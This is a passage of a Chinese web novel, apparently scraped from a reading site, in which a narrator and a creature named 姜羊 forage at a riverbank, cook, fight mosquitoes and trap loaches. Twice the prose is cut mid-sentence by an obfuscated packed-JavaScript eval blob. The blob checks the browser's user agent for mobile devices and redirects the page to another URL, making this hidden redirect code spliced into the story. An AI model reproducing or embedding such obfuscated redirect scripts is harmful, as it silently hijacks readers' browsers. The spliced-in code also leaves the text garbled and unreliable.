从这条路面上,滋溜溜横穿过的蛇见到了三条,两条身上带花,我没去动,拉着姜羊等那两条花蛇爬过去,才接着往前走。还有一条身上没带花,看着不像是毒蛇,我本来准备去抓,但那条蛇溜得太快,一眨眼就钻进草丛不见了。 我的衬衫背后汗湿了一片,姜羊也差不多,他已经开始吐舌头了,比正常人要长的舌头舔了舔干干的嘴唇。我停下来从包里给他拿水喝,他喝一口就递回给我。我自己喝了两口,又让他喝,这回姜羊抱着瓶子喝了小半瓶。 把水放回去,再往前走一段路,河滩就快到了。前面有个岔路口,往右边走就是去河滩的,左边是我当初来到这里的时候,走的那条路。想去更远的城里,就得走这条路。 我带着姜羊往右拐,过不了多久,河滩就清晰的出现在面前。 河滩上长满了绿草,这边的河滩周围原本也是田,大片大片,只是多年没有耕种,又被水淹了几次,上面没有什么作物,剩下一些茂密的野草。大概只有从那些横平竖直的遗留田埂上,才能看出从前的一点模样。 这条河挺大,在这里不能看到来处,水面上两座山对着,只留下了一个峡口子,水流从那个口子进来,就平静了很多。 水周围是山,一座座的青山全都映到水里,山是青的,水就是绿的。 姜羊头一次见到河,眼睛瞪得大大的,溜圆。他抱着爪子,兴奋的指那大片的山和水,嘴里呜哇呜哇。我敷衍的嗯了一声,往前走。这是个坡,走的不小心就会摔下去,所以我走下去两步后,转身想去扶一下姜羊。 可我刚转身,就听姜羊咿呀一声,摔倒了,像个球似得从我身边咕噜咕噜滚了下去,然后滚进了坡下面长满了野草的田里。 我眉头一皱,干脆抬脚从这小坡上跑下去,跑进田里去看姜羊有没有摔着。我还没走过去,姜羊爬起来了,满头的草,衣服也弄脏了,坐在野草堆里笑的咔咔咔,看着好像是没事。 我把他提起来,从田坎边上往河滩走,没走多久,姜羊就拉着我的手摇晃起来,我扭头看他,他嗯嗯嗯指着不远处,非常激动。我顺着他指的方向看过去,见到了两只纯白的鹭鸶。 那应该是两只变异的白鹭鸶,尾部有两根长长的尾羽,体型比一般的白鹭鸶要更大。它们悠闲的缓步走在河边草地上,偶尔低头梳理梳理羽毛,飞起来的时候像一片雪白的云,非常漂亮。 随着我和姜羊越走越近,两只白鹭鸶忽然展开翅膀,掠过河面,飞到了对面的山上去了。白色的鸟和绿色的青山相容在一起,是一副很美的画面。可惜我感触不深,倒是姜羊好像有种天生的浪漫,对于这种美丽总是格外喜欢。 他发出一声仿佛遗憾般的叹息声,眼睛不断往周围看,好像想找到其他有趣的没见过的东西。 带着姜羊在河边走,我想看看这会儿河边有没有蚌壳捡。河上带着点潮湿腥气的风吹过来,非常凉爽,在河边洗了把手和脸,我和姜羊顺着这边河岸找了一圈,捡到了二十几只巴掌大的蚌壳。之前退过一次水,那时候没来,要是那时候来的话,应该能捡到更多,这会儿的蚌壳也不怎么肥。 把捡来的蚌壳都堆到一起,我准备待会儿就在这里撬开壳,把肉挖了回去,吃一餐也够了。 姜羊蹲在蚌壳边上,好奇的用爪子去敲打那些蚌壳。黑色壳子的蚌壳大多都有一半陷在泥里,被我拿了起来之后,蚌壳上都是泥土,这些蚌壳闭得紧紧的,一动不动,不管姜羊是戳是敲,还是拿起来晃晃,都像石头一样没有声响。 姜羊在那边玩蚌壳,我走到旁边的两块田里看,这两块田是水田,以前应该是种稻子的,这会儿角落里还长着两根寸长的禾苗。我蹲在田埂边拨开那些野草,看到了泥土里有些小洞,偶尔咕噜一下冒个泡出来。 那是泥鳅洞,说不定还有黄鳝。我想到家里那堆在角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726920|189498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落里没用过的地笼子,可以用来抓泥鳅和黄鳝。 地笼子是用竹子编的,手臂那么长的一个圆筒,两个圆筒组成一个L型,一个口子能让泥鳅钻进去,只要钻进去了,就不能再钻出来,因为那口子外头大里面小。我知道那地笼子怎么用,就是没在这里用过。 想着下次过来,带几个地笼子过来抓泥鳅,我回到姜羊身边,用柴刀给他演示了一下怎么撬开蚌壳的口子。 只要能撬出一个缝,用柴刀两边一横一扳就开了,里面的蚌壳肉挖出来放到一边,一会儿就堆了一小盘。 姜羊拿我扳开了的蚌壳玩,摸着里面光滑的内壁,又用蚌壳装水,端着装水蚌壳回来的时候,他那个蚌壳里面还多了两个小螺蛳。我看一眼那两个小螺蛳,让他扔回去。这会儿的螺蛳还不大,再等两三个月,等这些螺蛳长到现在的三倍大,那才有点肉。 河滩边上有一处是往里凹的,那边水非常浅,有几种小鱼就爱待在那种浅水里,还没有手指粗的小鱼,身子是半透明的,就静静的趴在那沙土上。姜羊发现了浅水滩的小鱼后,就一直蹲在那里,等我差不多收拾完了蚌壳,叫了声姜羊,他捧着爪子就跑过来了。 他让我看他的爪子,我瞄了一眼,见到一只指节长的小鱼躺在他的爪子上,是一只麻沙鱼,要是拿个盖子蹲到那边浅滩,一会儿能抓个十几只,但是十几只也不够一口吃的,所以我懒得去抓。 姜羊也不能吃鱼,他就吃素,但他喜欢这些东西,爪子里捧着鱼,尾巴都快甩上天去了。他那爪子捧不了多少水,一路跑过来水都没了,现在他爪子里那只小鱼正在徒劳的把嘴一张一合。 姜羊给我看完,又跑回去,把那只小鱼放回去。 河滩上有很多东西,姜羊这里翻翻那里翻翻,还给他在大石头底下翻出来一只螃蟹。 我带姜羊回去的时候,他还有点恋恋不舍的,路过一个田坎边,我看到中间一条小水沟里有半透明的虾子,就藏在水草里,露出灰黑色的钳子。虾的话,也得再过上两三个月才能长大。 回去的路上,走过那条沥青路,我换了个方向回村,意外地发现了路边长着好些蚕豆。这会儿的蚕豆刚好可以吃,我拿出袋子来装蚕豆,姜羊也就帮着我一起摘豆荚,最后也摘了小半袋回去。 一个豆荚剥开,多的有四五颗蚕豆,少的也有两三颗,全都放进小竹篮里。剥下来的豆荚壳晒干能拿去烧,青色的豆子连着豆壳一起煮,放点盐,大火焖上一阵,就有香味传出来了。 河边弄来的蚌壳肉浸在井水里清洗干净沙子,切成小块,同样加盐放小锅里炖上。蚌壳肉比较难煮,要煮的久一点才不会很难嚼。蚕豆煮好了,蚌壳肉还在那刚炖出味。 把蚕豆捞出来过水,围着一个小台子,我跟姜羊一起吃。我在蚕豆壳上咬开一个口子,轻轻一挤里面的蚕豆就出来了,但是姜羊不会,他只会连皮带壳一起吃,吃的比我香多了。 19. 019 蚌壳肉一直煮到傍晚,嚼起来还是有点硬,但是这个硬度刚好,像是吃零嘴一样一小块能嚼很久,越嚼越香。我用碗把蚌壳肉全都装了,一边清理从屋里翻出来的地笼子,一边有一口没一口的吃。 这些用来抓泥鳅小鱼小虾的地笼子很久没用了,有些地方坏了,我找了些东西想办法把那些口子补一补。 我吃蚌壳肉,姜羊就抱着装蚕豆的篓子吃蚕豆。 这会儿天越来越黑,天边上的橘黄色粉色晚霞已经渐渐消失,屋里也慢慢看不清了。我起身去点松树油灯,见我起身,姜羊端着蚕豆篓子,也屁颠屁颠的跟着我。 松树油是我在山上的松树上刮下来的。 山上那一片长了不少松树,那些松树枯老的枝桠和针叶,用来引火烧火非常好,一点就着,秋天那会儿我每天都要去那片松树林里耙枯叶子,一担担的全部装回来,就是放着冬天烧的,几乎放满了一个房间,烧到现在才烧的差不多了。 开始我只是砍松树枯叶子和枝桠来烧火,后来发现松树上经常会生那种结疤一样的东西,会冒出半透明的淡黄色油脂,就刮了些回来,试着做出了松树油灯。晚上有了照明的油灯,后来我就经常过去刮松树油,攒了一罐子。要是松树不出油,在枝干上割个口子,过段时间也能流出不少油来。因为松树油和桃树油看上去很像,我还试过用桃树油做灯,可惜失败了。 这松树油灯虽然难弄了点,但是烧起来还有股松树香,挺好闻的。我一般晚上不做什么事,天一擦黑就到床上去睡了,大部分时候用不上松树油灯,也不太舍得用,但现在,我决定过段时间外出去看看,所以就想改变一点习惯。到时候在外面晚上可能我要守夜,说不定晚上还没法睡,现在我都习惯早睡了,到这会儿就犯困,这不太好,我得趁早习惯一下从前的作息,这些天都要熬晚一点睡。 我点上了松树油灯回来,对着那点灯光,继续鼓捣地笼子。姜羊趴在油灯旁边吃豆子,过了一会儿忽然往手臂上啪的拍了一下。 我抬头瞭了他一眼,他瞪着眼睛看着自己的爪子,上面有只被拍死的蚊子。 到了夏天,蚊子也多了起来,特别是傍晚开始,那些蚊子就汹涌的往人身上贴,赶都赶不走。现在各种植物动物都长得好,蚊子也大只了,那嘴上的长针长的让人看了就怕。 房子周围都是些花花草草,蚊子也就格外多,我用之前磨的那种防蚊虫墨绿色草汁涂在身上,能稍微管用一阵子,但是等味道淡了,那些蚊子又开始叮人。 就这一会儿,我脚上也被叮出了两个包,非常痒。姜羊脸上也被叮了,我就一会儿没看他,脸上就多了个红包包,被他自己挠的鼓起来了。他被蚊子叮了包出来,痒也不吱声,就坐在那挠,另一只爪子上还拿着一粒蚕豆,挠挠脸,挠完再吃。 我放下手里的地笼子,洗洗手去拿那种当花露水用的墨绿草汁,给姜羊点了些在脸上。 “不要去抓。”我跟他说,他犹豫着伸手去挠,被我拉下来两次,他就知道不能挠了,实在痒的话,就皱着脸努力吃蚕豆,尾巴也一个劲乱甩。 我又涂了点在自己身上,再把姜羊抓过来给他整个涂了个遍。他散发着一股子刺鼻味道后,蚊子少了,但是姜羊自己也被呛得不轻。简直就是伤敌一千,自损八百。 我听到姜羊鼻子里哼哼唧唧的不舒服,心想着,明天要去割点艾草熏蚊子。还有这种防虫叮的草汁也不太多了,得多弄点。 天气热了,我晚上洗澡懒得烧热水,直接就从井里打水冲,就站在院子里洗,也没人看。周围除了星星月亮,就只有树影虫鸣。 鼻子里闻到的都是青草味,耳朵里听到的都是虫蛙鸣叫,我觉得周围很安静,又很热闹。 安静是因为,这里除了我和姜羊,没有其他人,热闹是因为,那些青蛙实在太吵了,还有斑鸠和各种鸟,大半夜都会忽然咕咕呱呱一阵叫。 布谷布谷——这种声音,最近夜里我经常能听到,我感觉那鸟就在屋后那两棵大树上。 去年的夏天,我一个人,仿佛感受不到这种安静也感受不到这种热闹。说实话,我连去年的夏天怎么过来的,都有点记不清了。 想想也是很奇怪。最近我慢慢想起了很多年前的事情,越来越清晰,记起来的越来越多,倒是最近这些年的日子,像是有点不太清楚了。 哗啦一声,冰凉的井水冲在身上,冲走了燥热和汗味,那些水顺着脚下的石头滑进缝隙里,流到一边的草地和泥土地上。 石缝里有只小青蛙,被我溅下去的水惊动了,咕呱咕呱的跳出来。姜羊在一边蹲着等我洗完澡,看到一只小青蛙跳出来,他马上就想过来抓青蛙,被我喝住了。 “到一边去,待会儿水又溅你身上,澡白洗了。” 他捏着自己的尾巴尖回去门槛上坐着等我,眼睛还眼巴巴的盯着那只小青蛙,一直看着人家跳进了黑暗的草丛再也看不见了。 我洗澡之前,就先给姜羊洗了,他成天跟个泥猴子一样,之前天冷的时候一天也得洗一回,现在天热了,我中午给他冲一次澡,晚上再给他冲一次。他自己还挺喜欢水,我每次给他冲澡,他都笑的跟个小傻子似得。也不知道多少次,我给他冲水,他偏要笑的张大嘴巴,然后就给呛着了。 有时候他还要睁大眼睛,结果水溅到眼睛里去了,又要用爪子去揉,揉的红通通的。 我快速的洗完澡,随便擦干一下,穿上大背心和短裤,去厨房里拿了个大茶缸。茶缸里头泡着金银花,烧好已经放凉了。茶叶和金银花,我最近都是换着泡来喝。 洗完澡,喝几口凉茶,一肚子的凉爽,也不热了。回去房间里,把大茶缸放在床边一个椅子上,姜羊要是晚上口渴想喝水, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726921|189498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他就会自己起来喝。 这个房间很狭窄,紧紧关着房间,夏天就会很热。但我去年夏天最热那会儿,也是紧紧关着门窗,绝对不打开的。但是今年,我关上了门,却打开了窗子。窗子上糊了一层纱,不会让蚊子进来,多少能透点凉风。 睡前,我又在身上涂了草汁,上半夜睡了个好觉,下半夜觉得胳膊痒,被蚊子咬了。 前一天晚上,晚霞铺盖了大半个天空,第二天起来,就一定是个大太阳的晴天。我早早起来了,简单吃过东西,带着姜羊去割艾叶。这边艾叶还挺多,正是长得好的时候,一丛丛绿油油,叶片上连个虫眼都看不到,脆嫩脆嫩。 我提刀就割,割了两把,姜羊他已经吃起来了。我把他提到一边,让他去啃其他草,快手快脚就把一丛子艾草全都割下来了。这边的艾草还不是最多的,在皂荚树那边小溪边上,还有那个塘边上,艾草才是真的多。 往那两个地方走一圈,两大袋子艾草我都快拿不下了。本来还想顺便再桃树那边的小溪旁拔一盆草回去磨草汁,也拿不动,只能先把艾草送回去,在院子里铺开晾好,再回去拔草回来。 太阳很大,一天晒下来,原本鲜嫩的艾草都焉了,但是还没干不好烧,我拿了两根烧着试试,浓烟里带着艾草香,那烟往脚下一蹿,蚊子确实就少了,就是不太经烧,而且总这么熏着鼻子也不太好受。 只能是吃饭前拿着干艾草在卧房里烧了,紧紧关上房门熏蚊子,等到吃完饭洗了澡去睡觉,房里就没蚊子了。 十几个地笼子被我补好,里面放上一点馒头屑,找个时间放进了河滩那边的水田里。水田里放了十二个,还有六个被我放进了距离村子比较近这边的两块田,以及塘边的水草从里。 我没放过地笼子,就听说过,能不能放到东西我也不确定,只能是试试了。 最后的结果还不错,河滩那边的水田里十二个地笼子,十个都抓到了泥鳅,还有两条小黄鳝,村子这边的两块水田里竟然也抓到了泥鳅,倒是水塘里的两个地笼子,是空的,连只虾都没有。 泥鳅抓的太多,一餐吃不完,还好泥鳅大多都没死,用盆装了水先养起来,想吃就抓几条煮了吃。最开始放泥鳅的盆在外面,结果一晚上少了七八条,应该是被什么东西叼走了,我只能把盆转移进厨房,紧紧锁上厨房门。 这一盆子泥鳅吃完后,我又去放了地笼子,这回没放多少,一共就放了十个。 第二次去取地笼子的时候,下了雨,我和姜羊两个人一个人穿着一件大雨衣,在水田里拿回了地笼子。姜羊抱着一个地笼子,我用扁担担着其他的,顺着沥青马路回去。 我们一边走,姜羊捏着地笼子的盖子往里面看,光顾着看地笼子,都不看路。 我提醒他小心看着路别摔跤,就是在这个时候,我听到了身后传来车子的动响。